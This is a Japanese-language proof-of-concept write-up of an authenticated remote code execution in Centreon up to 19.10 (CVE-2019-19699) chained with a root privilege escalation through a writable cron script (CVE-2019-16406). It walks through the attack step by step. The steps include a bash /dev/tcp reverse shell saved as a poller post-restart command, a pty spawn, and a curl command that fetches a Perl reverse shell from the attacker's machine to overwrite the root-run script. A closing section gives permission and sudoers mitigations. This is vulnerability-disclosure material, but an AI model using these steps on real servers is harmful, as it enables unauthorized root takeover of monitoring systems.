
Centreon =<19.10 認証済みRCE
概念実証
発見者:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
認証済みリモートコード実行:
まず、Centreon の Web パネルにユーザー Admin としてログインします。
ログイン後、Configuration > Commands > Miscellaneous に移動します。
続いて、下の画像のように Add をクリックします。
それでは bash リバースシェル を Miscellaneous コマンドとして作成します。
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
そして Save をクリックします。
次に Configuration > Pollers に移動し、現在の Central ポーラーをクリックします。
これにより、Modify a poller Configuration メニューにアクセスできます。
ここで下にスクロールし、Post-restart command を設定できます。
続いて、先ほど作成した リバースシェル を選択し、Save ボタンをクリックします。
次に、ローカルマシンで Netcat リスナーを起動します。
最後に、Configuration > Pollers メニューで Export configuration ボタンをクリックします。
Pollers ドロップダウンボックスで Central ポーラーを選択します。
Generate Configuration Files と Run monitoring engine debug (-v) のチェックボックスをオフにします。
Restart Monitoring Engine と Post generation command のチェックボックスをオンにします。
Method ドロップダウンボックスで Restart を選択します。
Export をクリックするとポーラーが再起動し、先ほど設定した Post-Restart Command が実行されます。 この瞬間、リバースシェルリスナーが接続を受け取ります。
認証済みリモートコード実行が成功しました!
(これは CVE-2019-19699 の WriteUp です)
ここからは Root 権限の獲得に進みます。
CVE-2019-16406(TheCyberGeek によって発見)を使用して、Centreon =< 19.10 サーバーを完全に侵害します。
まず、現在のリバースシェルターミナルで TTY シェル を起動しましょう。
python -c 'import pty; pty.spawn("/bin/sh")'
次に、cat /etc/cron.d/* を実行して、どの cron タスクが存在するか確認します。
すると、centreon_autodisc.pl が Cron タスクであることがわかります。
(デモンストレーション目的で、30 22 * * * root から * * * * * root に変更されていました)
これは Root として実行されるため、centreon_autodisco.pl を Perl リバースシェル に 置き換え ます。
使用する Perl シェル はこちらからダウンロードできます。
リバースシェルをダウンロードし、Web ページの説明に従って IP アドレス と ポート を自分のものに編集します。
ローカルで mv を実行し、perl-reverse-shell.pl を centreon_autodisco.pl に名前を変更します。
任意のポートでローカルに SimpleHTTPServer を起動しましょう。
これにより、既存の centreon_autodisco.pl を私たちの トロイの木馬 Perl リバースシェルで置き換えるため、curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl を実行できます。
ファイルが置き換えられたので、あとは先ほど設定したポートで Netcat リスナー を起動するだけです。すると、サーバーからユーザー Root として接続が返ってきます!
Root システムアクセスが成功しました!
次に、権限昇格をどのように緩和すべきかについてのメモです。
19.10 における現在の設定:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
緩和策: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ご覧のとおり、ファイルは現在 Root が所有し、グループ apache は 読み取りと実行 のみ、centreon は 実行 のみ可能です。したがって、機能には影響しません。
例:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied しかし、apache はまだ 実行 できます。
緩和策: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ご覧のとおり、ファイルは現在 Root が所有し、グループ apache は 読み取りと実行 のみ、centreon は 実行 のみ可能です。したがって、機能には影響しません。
例:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied しかし、apache はまだ 実行 できます。
緩和策: /usr/lib/centreon/plugins/cwrapper_perl
各ユーザーが実行する必要のある特定のスクリプトを定義する sudo コマンドを使用します。
各 perl スクリプト を root が所有するようにし、ユーザーが権限昇格のためにスクリプトを変更または置換できないようにします。
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
これでユーザーはスクリプトを変更または置換できなくなります。
例:
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---End of Sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
ユーザーは必要なスクリプトを引き続き実行でき、スクリプトは apache や centreon によって変更できないため、権限昇格のセキュリティ脅威を完全に排除できます。
もし攻撃者がこの時点でマシンに侵入したとしても、さらなる脅威が発見されない限り、マシンを完全に制御することは非常に困難または不可能です。
Centreon ユーザー について、私たちが見つけた唯一の権限昇格経路は Perl 用の cwrapper でした。したがって、post-restart が centreon ユーザーとして実行され、攻撃者が centreon ユーザーとしてシェルを取得した場合、実質的にそれ以上の攻撃面は残りません。
最後までお読みいただきありがとうございます